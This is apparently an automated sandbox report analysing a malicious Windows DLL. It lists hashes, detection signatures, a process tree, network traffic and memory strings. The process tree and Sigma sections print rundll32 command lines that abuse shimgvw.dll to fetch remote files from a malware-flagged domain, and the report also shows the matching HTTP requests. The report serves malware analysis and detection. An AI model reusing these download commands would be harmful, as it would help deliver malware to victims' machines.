Edit tour

Windows Analysis Report
LLD5HDX0PS.dll

Overview

General Information

Sample name:	LLD5HDX0PS.dll renamed because original name is a hash value
Original sample name:	4b74d5e09bca4898a782e938a8f9889b9ebadf8b0f14368bca90d9d0e68da472.dll
Analysis ID:	1500944
MD5:	030a68e321dec0e77b4698fccc5d54db
SHA1:	7b792a49fe27a298343ba26db8cac5ccb150ff89
SHA256:	4b74d5e09bca4898a782e938a8f9889b9ebadf8b0f14368bca90d9d0e68da472
Tags:	dllrammenale-com
Infos:

Detection

Score:	84
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Sigma detected: Execute DLL with spoofed extension

Sigma detected: rundll32 run dll from internet

System process connects to network (likely due to code injection or exploit)

AI detected suspicious sample

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Potentially Suspicious Rundll32 Activity

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 3224 cmdline: loaddll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll" MD5: 51E6071F9CBA48E79F10C84515AAE618)

conhost.exe (PID: 2268 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 1488 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll",#1 MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

rundll32.exe (PID: 2192 cmdline: rundll32.exe "C:\Users\user\Desktop\LLD5HDX0PS.dll",#1 MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5308 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5332 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 6092 cmdline: rundll32.exe C:\Users\user\Desktop\LLD5HDX0PS.dll,mydllmain MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5960 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 4988 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 5432 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt MD5: 889B99C52A60DD49227C5E485A016679)

rundll32.exe (PID: 6136 cmdline: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/regit.tmp MD5: 889B99C52A60DD49227C5E485A016679)

cleanup

Sigma Signatures

Sigma detected: Potentially Suspicious Rundll32 Activity

Source: Process started

Author: juju4, Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems): Data: Command: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\LLD5HDX0PS.dll,mydllmain, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 6092, ParentProcessName: rundll32.exe, ProcessCommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, ProcessId: 5960, ProcessName: rundll32.exe

Data Obfuscation

Sigma detected: Execute DLL with spoofed extension

Source: Process started

Author: Joe Security: Data: Command: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\rundll32.exe, NewProcessName: C:\Windows\SysWOW64\rundll32.exe, OriginalFileName: C:\Windows\SysWOW64\rundll32.exe, ParentCommandLine: rundll32.exe C:\Users\user\Desktop\LLD5HDX0PS.dll,mydllmain, ParentImage: C:\Windows\SysWOW64\rundll32.exe, ParentProcessId: 6092, ParentProcessName: rundll32.exe, ProcessCommandLine: rundll32.exe C:\Windows\System32\shimgvw.dll,ImageView_Fullscreen https://rammenale.com/for2/aclog.txt, ProcessId: 5960, ProcessName: rundll32.exe

Sigma detected: rundll32 run dll from internet

Source: Process started

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://rammenale.com/for2/regit.tmp%S	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpsoft	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclogID	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpgQ	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4z	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4w	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpmbt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4m	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpnf	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp44uz	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp?J	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp%f	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpOJ	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt6634-1003.mun	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt6634-1003	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4F	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4D	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmph	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpP	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpK	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpuS	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpS	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtl	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtsoft	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtg	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpG	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtu	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txts	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtr	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtq	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpE	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp0	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp1	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp3w	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtz	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp8	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp3	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4I	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4#	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpent	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtx4C	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtJ	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtI	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtfs:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtM3	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmprI3-	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtT	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt44	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp&bt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtP	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpentfc	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4G	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp0s	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpkbu	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regM	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp(f	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpkJ	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtf	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtd	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpWJz	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpsC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt_	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4X	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4W	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp6634-1003Vbt	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt)	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtent	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp4$	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp~	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4P	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt2	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmplS	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt4h	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpq	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txt9	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpl	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpm	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpBJj	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtF2	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclogDevice	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmp	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtC	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpz	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/aclog.txtA	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpC:	Avira URL Cloud: Label: malware
Source: https://rammenale.com/for2/regit.tmpu	Avira URL Cloud: Label: malware

Multi AV Scanner detection for submitted file

Source: LLD5HDX0PS.dll

Virustotal: Detection: 10%

Perma Link

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 96.7% probability

Source: LLD5HDX0PS.dll

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE, DLL

Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 131.153.206.231:443 -> 192.168.2.6:49716 version: TLS 1.2

Source: LLD5HDX0PS.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEE1B85 FindFirstFileW,_strlen,ExpandEnvironmentStringsW,CopyFileW,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	0_2_6BEE1B85
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_6BEF38F4 FindFirstFileExW,	0_2_6BEF38F4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE61B85 FindFirstFileW,_strlen,ExpandEnvironmentStringsW,CopyFileW,TerminateProcess,CloseHandle,CloseHandle,TerminateProcess,CloseHandle,CloseHandle,FindNextFileW,	3_2_6FE61B85
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6FE738F4 FindFirstFileExW,	3_2_6FE738F4

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\SysWOW64\rundll32.exe

Network Connect: 131.153.206.231 443

Source: Joe Sandbox View

ASN Name: SS-ASHUS SS-ASHUS

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/regit.tmp HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /for2/aclog.txt HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rammenale.comConnection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: rammenale.com

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:05 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:05 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:05 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:05 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:05 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 29 Aug 2024 04:53:05 GMTserver: LiteSpeedalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"

Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B53000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.Dc.
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.000000000813B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008F96000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.00000000091FC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008833000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AAE000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.000000000810D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000008.00000002.3374164503.0000000007B1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000009.00000002.3373357071.0000000008F7E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.00000000091DA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.000000000881B000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000002.3372381342.0000000008802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AAE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/-H
Source: rundll32.exe, 00000007.00000002.3372962854.000000000810D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/2.168.2.6
Source: rundll32.exe, 00000008.00000002.3374164503.0000000007B1D000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.00000000091DA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/7
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008802000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/_T
Source: rundll32.exe, 0000000D.00000002.3372381342.0000000008863000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/fo
Source: rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog
Source: rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.00000000091FC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.00000000091D7000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009209000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3369493253.00000000034F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt
Source: rundll32.exe, 00000007.00000002.3369345966.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt$
Source: rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt)
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt2
Source: rundll32.exe, 0000000C.00000002.3373542181.00000000091FC000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3373542181.0000000009209000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4#
Source: rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt44
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4G
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4P
Source: rundll32.exe, 0000000C.00000002.3373542181.00000000091FC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4W
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008AC4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4X
Source: rundll32.exe, 00000007.00000002.3372962854.000000000816B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt4h
Source: rundll32.exe, 00000005.00000002.3372854058.0000000008A93000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3372962854.000000000810D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt6634-1003
Source: rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt6634-1003.mun
Source: rundll32.exe, 0000000C.00000002.3373542181.0000000009221000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt9
Source: rundll32.exe, 00000005.00000002.3370723210.0000000003050000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3370922957.0000000003080000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3371348346.0000000003700000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txt:
Source: rundll32.exe, 00000007.00000002.3369345966.0000000000C99000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtA
Source: rundll32.exe, 00000005.00000002.3369497741.0000000000D51000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3369493253.000000000343A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtC
Source: rundll32.exe, 00000005.00000002.3369497741.0000000000C90000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000005.00000002.3369351939.0000000000BF0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3369202584.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3369345966.0000000000BE0000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3369493253.0000000003430000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 0000000C.00000002.3369283677.0000000003300000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtC:
Source: rundll32.exe, 00000005.00000002.3369497741.0000000000C9A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://rammenale.com/for2/aclog.txtF2
